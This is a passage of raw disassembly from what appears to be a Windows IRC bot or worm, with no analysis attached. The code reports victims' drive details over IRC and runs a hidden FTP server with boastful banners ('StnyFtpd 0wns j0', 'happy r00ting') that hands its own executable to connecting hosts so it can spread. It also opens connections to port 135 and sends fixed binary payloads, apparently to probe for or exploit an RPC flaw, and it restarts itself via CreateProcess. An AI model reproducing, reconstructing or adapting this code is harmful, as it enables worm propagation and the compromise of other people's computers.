E ======================================= sub_403882 proc near ; CODE XREF: sub_403A2E+51p ; sub_403A2E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_42D8D4 ; GetDriveTypeA sub eax, 0 jz short loc_4038C5 dec eax jz short loc_4038BF dec eax dec eax jz short loc_4038B9 dec eax jz short loc_4038B3 dec eax jz short loc_4038AD dec eax jz short loc_4038A7 mov eax, offset word_41BF80 retn ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_403882+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_4038AD: ; CODE XREF: sub_403882+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4038B3: ; CODE XREF: sub_403882+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4038B9: ; CODE XREF: sub_403882+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4038BF: ; CODE XREF: sub_403882+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4038C5: ; CODE XREF: sub_403882+Dj mov eax, offset aUnknown ; "Unknown" retn sub_403882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038CB proc near ; CODE XREF: sub_403913+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_42D784 test eax, eax jz short loc_403900 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_403900: ; CODE XREF: sub_4038CB+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4038CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403913 proc near ; CODE XREF: sub_403A2E+17p ; sub_40B807+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4038CB pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_4039EB mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_4039EB mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_4039EB push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_40DF50 push edx push eax call sub_403804 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_40D3F7 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_40DF50 push edx push eax call sub_403804 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_40D3F7 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_40DF50 push edx push eax call sub_403804 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_40D3F7 add esp, 18h pop ebx jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_4039EB: ; CODE XREF: sub_403913+2Cj ; sub_403913+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_40C6C3 lea eax, [ebp+var_118] push esi push eax call sub_40C6C3 lea eax, [ebp+var_98] push esi push eax call sub_40C6C3 add esp, 18h loc_403A1A: ; CODE XREF: sub_403913+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_403913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A2E proc near ; CODE XREF: sub_403B00+17p ; sub_403B00+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_403913 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_40D860 add esp, 10h test eax, eax jnz short loc_403AA1 push ebx push ebx call sub_403882 pop ecx push eax push offset unk_41BFD4 lea eax, [ebp+var_500] push 200h push eax call sub_40D3F7 add esp, 14h jmp short loc_403AD5 ; --------------------------------------------------------------------------- loc_403AA1: ; CODE XREF: sub_403A2E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_403882 pop ecx push eax push offset unk_41BF94 lea eax, [ebp+var_500] push 200h push eax call sub_40D3F7 add esp, 20h loc_403AD5: ; CODE XREF: sub_403A2E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_500] push eax call sub_403145 add esp, 18h pop edi pop esi pop ebx leave retn sub_403A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B00 proc near ; CODE XREF: sub_4077FD+3315p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_403B21 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403A2E add esp, 10h jmp short loc_403B80 ; --------------------------------------------------------------------------- loc_403B21: ; CODE XREF: sub_403B00+9j push esi push edi push ebx push ebx call dword_42D7F4 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_40CCCF pop ecx mov edi, eax push edi push esi call dword_42D7F4 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_403B77 loc_403B45: ; CODE XREF: sub_403B00+75j push offset aA_1 ; "A:\\" push esi call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_403B68 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403A2E add esp, 10h loc_403B68: ; CODE XREF: sub_403B00+54j push esi call sub_40CBC0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_403B45 loc_403B77: ; CODE XREF: sub_403B00+43j push edi call sub_40CD81 pop ecx pop edi pop esi loc_403B80: ; CODE XREF: sub_403B00+1Fj pop ebx pop ebp retn sub_403B00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B83 proc near ; DATA XREF: sub_407041+19o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_42F414 call dword_42D90C ; closesocket call sub_40C225 call dword_42D7E4 ; WSACleanup call dword_42D7E4 ; WSACleanup mov ebx, dword_418040 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_40CC40 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_40CC40 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_4242F0 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_418088 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_41804C ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_418078 ; CreateProcessA test eax, eax jz short loc_403C48 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_41807C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_403C48: ; CODE XREF: sub_403B83+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_42D32C mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_418074 ; ExitProcess pop edi pop esi pop ebx sub_403B83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C6B proc near ; CODE XREF: sub_403CA3+125p ; sub_403CA3+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_403C99 loc_403C7C: ; CODE XREF: sub_403C6B+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_40E000 add esp, 0Ch test eax, eax jz short loc_403C9F inc esi cmp esi, edi jl short loc_403C7C loc_403C99: ; CODE XREF: sub_403C6B+Fj xor al, al loc_403C9B: ; CODE XREF: sub_403C6B+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_403C9F: ; CODE XREF: sub_403C6B+27j mov al, 1 jmp short loc_403C9B sub_403C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403CA3 proc near ; CODE XREF: sub_402972+8Bp var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_40CCA0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_403CE4 dec eax jz short loc_403CC2 dec eax loc_403CBC: ; CODE XREF: sub_403CA3+57j xor eax, eax loc_403CBE: ; CODE XREF: sub_403CA3+3Fj ; sub_403CA3+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_403CC2: ; CODE XREF: sub_403CA3+16j push 3 push 1388h push [ebp+arg_0] call dword_42D8B4 ; inet_addr push eax call sub_4014AE add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_403CBE ; --------------------------------------------------------------------------- loc_403CE4: ; CODE XREF: sub_403CA3+13j push 6 push 1 push 2 call dword_42D8F4 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_403CBC push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_42D878 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_4057D9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_42D824 ; connect cmp eax, edi jz loc_403E00 push ebx push 48h push offset dword_41C018 push esi call dword_42D8C4 ; send cmp eax, edi jz loc_403E00 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42D890 ; recv cmp eax, edi jz loc_403E00 cmp [ebp+var_200E], 0Ch jnz short loc_403E00 push ebx push 18h push offset dword_41C064 push [ebp+arg_4] call dword_42D8C4 ; send cmp eax, edi jz short loc_403E00 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_42D890 ; recv mov esi, eax cmp esi, edi jz short loc_403E00 cmp [ebp+var_200E], 2 jnz short loc_403E00 push 10h push offset loc_41C080 lea eax, [ebp+var_2010] push esi push eax call sub_403C6B add esp, 10h test al, al jz short loc_403DE0 cmp esi, 12Ch setnl bl inc ebx jmp short loc_403E00 ; --------------------------------------------------------------------------- loc_403DE0: ; CODE XREF: sub_403CA3+12Fj push 10h push offset dword_41C094 lea eax, [ebp+var_2010] push esi push eax call sub_403C6B add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_403E00: ; CODE XREF: sub_403CA3+9Bj ; sub_403CA3+B2j ... push [ebp+arg_4] call dword_42D90C ; closesocket mov eax, ebx pop ebx jmp loc_403CBE sub_403CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E11 proc near ; DATA XREF: sub_401141+227o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_134 = byte ptr -134h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_24], ebx mov [ebp+var_28], ebx mov [ebp+var_238], edi mov [ebp+var_438], edi call dword_418188 ; WSAStartup push edi call sub_40E2E2 push eax call sub_40CB55 push 0FA00h push 539h call sub_40301D add esp, 10h mov dword_42D334, eax push edi push ebx push 2 call dword_4181B4 ; socket mov esi, eax lea eax, [ebp+var_24] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_4181A8 ; setsockopt lea eax, [ebp+var_28] push eax push 8004667Eh push esi call dword_41818C ; ioctlsocket mov ax, word ptr dword_42D334 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_4181A0 ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_418190 ; bind test eax, eax jge short loc_403EE6 mov eax, ebx jmp loc_4043F1 ; --------------------------------------------------------------------------- loc_403EE6: ; CODE XREF: sub_403E11+CCj push 0Ah push esi call dword_418194 ; listen mov [ebp+var_238], ebx mov ebx, dword_4181B8 mov [ebp+var_234], esi mov [ebp+var_4], esi loc_403F04: ; CODE XREF: sub_403E11+12Aj ; sub_403E11+5D8j push 41h lea esi, [ebp+var_238] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4181BC ; select cmp eax, 0FFFFFFFFh jz loc_4043EE cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_403F04 loc_403F3D: ; CODE XREF: sub_403E11+5D2j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40CC40 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_40CC40 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_417A78 ; __WSAFDIsSet test eax, eax jz loc_4043DC cmp edi, [ebp+var_C] jnz short loc_403FE6 lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_134] push eax push [ebp+var_C] call dword_418198 ; accept cmp eax, 0FFFFFFFFh jz loc_4043DC mov edx, [ebp+var_238] xor ecx, ecx cmp edx, esi jbe short loc_403FB8 loc_403FAA: ; CODE XREF: sub_403E11+1A5j cmp [ebp+ecx*4+var_234], eax jz short loc_403FB8 inc ecx cmp ecx, edx jb short loc_403FAA loc_403FB8: ; CODE XREF: sub_403E11+197j ; sub_403E11+1A0j cmp ecx, edx jnz short loc_403FCE cmp edx, 40h jnb short loc_403FCE mov [ebp+ecx*4+var_234], eax inc [ebp+var_238] loc_403FCE: ; CODE XREF: sub_403E11+1A9j ; sub_403E11+1AEj cmp eax, [ebp+var_4] jle short loc_403FD6 mov [ebp+var_4], eax loc_403FD6: ; CODE XREF: sub_403E11+1C0j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4043DC ; --------------------------------------------------------------------------- loc_403FE6: ; CODE XREF: sub_403E11+167j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_4181AC ; recv test eax, eax jg short loc_404043 mov ecx, [ebp+var_238] xor eax, eax cmp ecx, esi jbe short loc_404037 loc_404007: ; CODE XREF: sub_403E11+202j cmp [ebp+eax*4+var_234], edi jz short loc_40402C inc eax cmp eax, ecx jb short loc_404007 jmp short loc_404037 ; --------------------------------------------------------------------------- loc_404017: ; CODE XREF: sub_403E11+21Ej mov ecx, [ebp+eax*4+var_230] mov [ebp+eax*4+var_234], ecx mov ecx, [ebp+var_238] inc eax loc_40402C: ; CODE XREF: sub_403E11+1FDj dec ecx cmp eax, ecx jb short loc_404017 dec [ebp+var_238] loc_404037: ; CODE XREF: sub_403E11+1F4j ; sub_403E11+204j push edi call dword_4181B0 ; closesocket jmp loc_4043DC ; --------------------------------------------------------------------------- loc_404043: ; CODE XREF: sub_403E11+1E8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_40CB7D lea eax, [ebp+var_AC] push offset aUser ; "USER" push eax call sub_40D860 add esp, 18h test eax, eax jnz short loc_404087 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404087: ; CODE XREF: sub_403E11+267j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4040AB push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_403E11+28Bj lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4040CF push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040CF: ; CODE XREF: sub_403E11+2AFj lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4040F3 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4040F3: ; CODE XREF: sub_403E11+2D3j lea eax, [ebp+var_AC] push offset off_41C280 push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_404117 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404117: ; CODE XREF: sub_403E11+2F7j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_404152 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_404152 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_404152: ; CODE XREF: sub_403E11+31Bj ; sub_403E11+332j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40418D lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40418D push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_403E11+356j ; sub_403E11+36Dj lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4041DB push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_124] loc_4041CB: ; CODE XREF: sub_403E11+409j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_4043CA ; --------------------------------------------------------------------------- loc_4041DB: ; CODE XREF: sub_403E11+391j lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_40421C push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4041CB ; --------------------------------------------------------------------------- loc_40421C: ; CODE XREF: sub_403E11+3DFj lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_4042ED lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_40CB7D lea eax, [ebp+var_F8] push eax call sub_40D9BF mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_40D9BF mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_40CC40 push [ebp+arg_0] lea eax, [ebp+var_F8] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_40C6C3 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_40E2CB mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_40C6C3 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_4043C7 ; --------------------------------------------------------------------------- loc_4042ED: ; CODE XREF: sub_403E11+420j lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_4043A8 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4043F8 pop ecx cmp eax, 1 pop ecx jnz short loc_40439E call sub_404475 cmp eax, 1 jnz loc_4043CA push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_42D334 push eax lea eax, [ebp+var_8DC] push offset unk_41C0F0 push eax call sub_40C6C3 add esp, 14h cmp [ebp+var_440], esi jnz short loc_40438F push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_404555 add esp, 14h loc_40438F: ; CODE XREF: sub_403E11+559j lea eax, [ebp+var_8DC] push eax call sub_403145 pop ecx jmp short loc_4043CA ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_403E11+513j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4043C7 ; --------------------------------------------------------------------------- loc_4043A8: ; CODE XREF: sub_403E11+4F1j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4043CA push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4043C7: ; CODE XREF: sub_403E11+271j ; sub_403E11+295j ... push edi call ebx ; send loc_4043CA: ; CODE XREF: sub_403E11+3C5j ; sub_403E11+51Dj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_40CC40 add esp, 0Ch loc_4043DC: ; CODE XREF: sub_403E11+15Ej ; sub_403E11+187j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_403F3D jmp loc_403F04 ; --------------------------------------------------------------------------- loc_4043EE: ; CODE XREF: sub_403E11+11Ej xor eax, eax inc eax loc_4043F1: ; CODE XREF: sub_403E11+D0j pop edi pop esi pop ebx leave retn 4 sub_403E11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043F8 proc near ; CODE XREF: sub_403E11+509p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_418188 ; WSAStartup push 0 push 1 push 2 call dword_4181B4 ; socket push [ebp+arg_0] mov dword_42D330, eax mov [ebp+var_10], 2 call dword_41819C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4181A0 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_42D330 call dword_4181A4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_404470 push dword_42D330 call dword_4181B0 ; closesocket call dword_418184 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_404470: ; CODE XREF: sub_4043F8+60j xor eax, eax inc eax leave retn sub_4043F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404475 proc near ; CODE XREF: sub_403E11+515p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_41804C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_41BD40 push eax call sub_40DDC8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40450C test byte ptr [esi+0Ch], 10h jnz short loc_4044F0 push edi mov edi, 400h loc_4044B8: ; CODE XREF: sub_404475+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_40DA20 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_42D330 call dword_4181B8 ; send push 1 call dword_418040 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_4044B8 pop edi loc_4044F0: ; CODE XREF: sub_404475+3Bj push esi call sub_40D9CA pop ecx push dword_42D330 call dword_4181B0 ; closesocket call dword_418184 ; WSACleanup xor eax, eax inc eax loc_40450C: ; CODE XREF: sub_404475+35j pop esi leave retn sub_404475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40450F proc near ; CODE XREF: sub_407681+3Dp ; sub_4077FD+1B6p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_40D8E4 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_42D8C4 ; send leave retn sub_40450F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404555 proc near ; CODE XREF: sub_401000+B2p ; sub_4010CA+61p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_404570 mov edi, offset aPrivmsg ; "PRIVMSG" loc_404570: ; CODE XREF: sub_404555+14j push edi call sub_40CBC0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_40CBC0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_0 ; "%s" push esi push eax call sub_40D3F7 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_40C6C3 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_42D8C4 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4045EE push 7D0h call dword_418040 ; Sleep locret_4045EE: ; CODE XREF: sub_404555+8Cj leave retn sub_404555 endp ; =============== S U B R O U T I N E ======================================= sub_4045F0 proc near ; CODE XREF: sub_407041+50p push ebx push ebp mov ebp, dword_418094 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_418090 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_404710 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_42D920, eax call esi 